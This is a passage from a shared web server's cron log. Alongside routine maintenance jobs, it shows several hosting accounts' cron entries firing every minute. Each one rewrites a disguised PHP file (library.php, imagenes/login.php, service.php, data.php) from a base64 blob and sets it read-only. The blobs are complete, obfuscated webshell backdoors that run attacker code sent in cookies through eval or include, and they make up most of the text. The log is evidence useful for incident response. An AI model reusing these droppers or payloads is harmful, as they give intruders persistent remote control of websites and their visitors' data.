LiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:17:01 medusa CROND[23327]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:17:01 medusa CROND[23330]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:17:01 medusa CROND[23328]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:17:01 medusa CROND[23332]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:17:01 medusa CROND[23334]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:17:01 medusa CROND[23333]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:17:01 medusa CROND[23337]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 09:17:01 medusa CROND[23335]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:17:01 medusa CROND[23342]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:18:01 medusa CROND[12816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:18:01 medusa CROND[12817]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:18:01 medusa CROND[12818]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:18:01 medusa CROND[12819]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:18:01 medusa CROND[12820]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:18:01 medusa CROND[12821]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:18:01 medusa CROND[12823]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:18:01 medusa CROND[12824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:18:01 medusa CROND[12826]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 09:18:01 medusa CROND[12827]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:18:01 medusa CROND[12828]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:18:01 medusa CROND[12831]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:18:01 medusa CROND[12832]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:18:01 medusa CROND[12833]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:19:01 medusa CROND[2753]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:19:01 medusa CROND[2825]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:19:01 medusa CROND[2826]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:19:01 medusa CROND[2827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:19:01 medusa CROND[2828]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:19:01 medusa CROND[2829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:19:01 medusa CROND[2830]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
